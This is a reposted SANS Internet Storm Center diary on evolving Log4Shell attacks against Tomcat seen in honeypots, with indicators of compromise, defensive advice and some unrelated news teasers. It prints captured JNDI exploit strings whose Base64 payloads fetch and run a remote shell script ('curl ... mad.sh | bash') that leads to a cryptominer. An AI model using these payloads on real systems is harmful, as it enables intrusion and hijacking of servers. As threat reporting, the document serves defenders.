[SANS ISC] Log4Shell Attacks Getting “Smarter”, (Mon, Jan 17th)

Ever since news of the Log4Shell vulnerability broke, we saw a stream of attacks attempting to exploit this vulnerability in log4j (%%cve:2021-44228%%).

Initial attempts where rather “blunt”, and attempted to insert the JNDI exploit string into various fields without much concern how and where the string may be logged. More recently, we did some however some more specific exploits targeting specific software configurations. Most notably, exploit have been released for Unifi’s network controller and VMWare.

Today for example, we saw some exploit strings that may be targeting Tomcat configurations:

/$%7Bjndi:ldap://ldap://62.182.80.168:13899/o=tomcat%7D/x=%24%7Bjndi%3Aldap%3A%2F%2F142.44.203.85%3A1389%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCA3Mi40Ni41Mi4xMzUvbWFkLnNoIHwgYmFzaA%3D%3D%7D

This decodes to:

/${jndi:ldap://ldap://62.182.80.168:13899/o=tomcat}/x=${jndi:ldap://142.44.203.85:1389/TomcatBypass/Command/Base64/Y3VybCA3Mi40Ni41Mi4xMzUvbWFkLnNoIHwgYmFzaA==}

With the Base64 part decoding to: curl 72.46.52.135/mad.sh . This will lead, after many redirects and the like, to a good old xmrig miner. Maybe something for a later day as there are some interesting tidbits in the various shell scripts downloaded.

A second, similar attempt was found in about two dozens of our honeypots:

/?test=t(%27$%7B$%7Benv:NaN:-j%7Dndi$%7Benv:NaN:-:%7D$%7Benv:NaN:-l%7Ddap$%7Benv:NaN:-:%7D//137.184.40.48:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTU4LjEwMS4xMTguMjM2L3NldHVwOyBjdXJsIC1PIGh0dHA6Ly8xNTguMTAxLjExOC4yMzYvc2V0dXA7IGNobW9kIDc3NyB

The URL retrieved by this attempt is no longer available, but given the similar method, chances are it is yet another crypto minder.

A few things to look for:

The first attempt is erasing log lines that contain this IP address: %%ip:107.191.63.34%%
It creates a /tmp/.shanbe directory
connects to a mining pool at %%ip:207.38.87.6%% (port 3333)
Downloads additional code from %%ip:41.157.42.239%% .

But then again, if you need IoCs like this to detect crypto miners: Reassess what kind of monitoring you do on more basic parameters like CPU load and rogue processes running on systems.

The news around log4shell has gotten quiet, but it isn’t over yet. Attacks keep evolving and do not consider this a non-event if none of the initial “pray and spray” attacks affected you.


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Source: Read More (SANS Internet Storm Center, InfoCON: green)

You might be interested in …

[TheRecord] How the pandemic pulled Nigerian university students into cybercrime

ILORIN, Nigeria—Around November 2020, Kayode said he was invited to a house party—the kind attended mostly by others involved in the country’s illicit digital economy.  The college sophomore studying towards a hard sciences degree had reservations about attending a party during a global pandemic, but he didn’t have much other to do than spend time […]

Read More

[ZDNet] Ukraine reportedly adopts Clearview AI to track Russian invaders

All posts, ZDNet

The facial recognition technology has not been made available to Russia. Source: Read More (Latest topics for ZDNet in Security)

Read More

[BleepingComputer] Rapid7 source code, credentials accessed in Codecov supply-chain attack

US cybersecurity firm Rapid7 has disclosed that some source code repositories were accessed in a security incident linked to the supply-chain attack that recently impacted customers of the popular Codecov code coverage tool. […] Source: Read More (BleepingComputer)

Read More